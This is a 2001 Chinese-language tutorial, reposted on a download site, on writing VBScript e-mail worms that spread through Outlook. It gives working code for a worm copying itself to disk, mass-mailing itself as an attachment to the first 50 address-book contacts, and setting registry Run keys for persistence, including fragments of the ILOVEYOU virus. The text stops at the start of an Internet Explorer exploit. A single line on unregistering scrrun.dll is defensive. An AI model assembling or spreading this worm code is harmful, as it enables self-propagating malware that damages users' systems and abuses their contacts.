http://www.tongyi.net 出处:网络 点击:6189
如何利用outlook漏洞编写病毒脚本
原创:coolweis(coolweis)
来源:coolweis
如何利用outlook漏洞编写蠕虫病毒
coolweis
coolweis@netguard.com.cn
2001年4月6日01:22 am
据称目前已经发现唯一不能通过outlook传播的病毒口蹄疫已经被发现,看来微软也可以得以一阵子了。开个玩笑,outlook在传播病毒上真是臭名昭著,像iloveyou,梅莉莎等等产生过很大破坏力的病毒都是通过outlook传播的。其根本原因就是outlook的人性化,与脚本的高度集成,复杂性等等,正是由于这些原因导致了病毒的传播。
下面我们看一下outlook传播病毒的机理:
首先看看病毒的几大特征:自我复制性,传播性,潜伏性。我们收先看看自我复制性。病毒要向传播必须将自身复制借由其他邮件或本身发送出去,outlook传播的病毒基本上都是由vbscript编写的,其自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个临时文件,然后再在传播的环节将其作为附件发送出去。我们看看脚本是怎么样完成这个功能的。
set so=createobject("scripting.filesystemobject")
so.getfile(wscript.scriptfullname).copy("c:\dateiname.vbs")
就是这么两行就可以将自身复制到c盘根目录下dateiname.vbs这个文件。第一行是创建一个文件系统对象,第二行前面是打开这个脚本文件,wscript.scriptfullname指明是这个程序本身,是一个完整的路径文件名。getfile函数获得这个文件,copy函数将这个文件复制到c盘根目录下dateiname.vbs这个文件。这就是大多数利用vbscript编写的病毒的一个特点。从这里可以看出,禁止了filesystemobject这个对象就可以很有效的控制这种病毒的传播。下面的这条命令可以禁止文件系统对象。
regsvr32 scrrun.dll /u
我们再看看传播性。病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于outlook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过outlook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码:
set ol=createobject("outlook.application")
on error resume next
for x=1 to 50
set mail=ol.createitem(0)
mail.to=ol.getnamespace("mapi").addresslists(1).addressentries(x)
mail.subject="betreff der e-mail"
mail.body="text der e-mail"
mail.attachments.add("c:\dateiname.vbs")
mail.send
next
ol.quit
这一小段代码的功能是向地址簿中的前50个用户发送电子邮件,并将脚本自己作为附件。第一行是创建一个outlook的对象。下面是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。
至于潜伏,则多数是修改注册表等信息以判断各种条件及取消一些限制。比如下面从iloveyou病毒中取出的部分代码:
on error resume next
dim wscr,rr
set wscr=createobject("wscript.shell")
rr=wscr.regread("hkey_current_user\software\microsoft\windows scripting host\settings\timeout")
if (rr>=1) then
wscr.regwrite "hkey_current_user\software\microsoft\windows scripting host\settings\timeout",0,"reg_dword"
end if
很明显是调整脚本语言的超是设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:
regcreate "hkey_local_machine\software\microsoft\windows\currentversion\run\mskernel32",dirsystem&"\mskernel32.vbs"
regcreate "hkey_local_machine\software\microsoft\windows\currentversion\runservices\win32dll",dirwin&"\win32dll.vbs"
其中mskernel32.vbs和win32dll.vbs是病毒脚本的一个副本。
iloveyou病毒还做了一些其它的修改。
从上面可以看出其实写一个通过outlook传播的电子邮件病毒很简单。但是作为附件传播,这种传播的效率可能就会打些折扣。下面的一种方法是根据最新的ie的漏洞利用的。下面是这个漏洞的一些情况:
from: "xxxxx"
subject: mail
date: thu, 2 nov 2000 13:27:33 +0100
mime-version: 1.0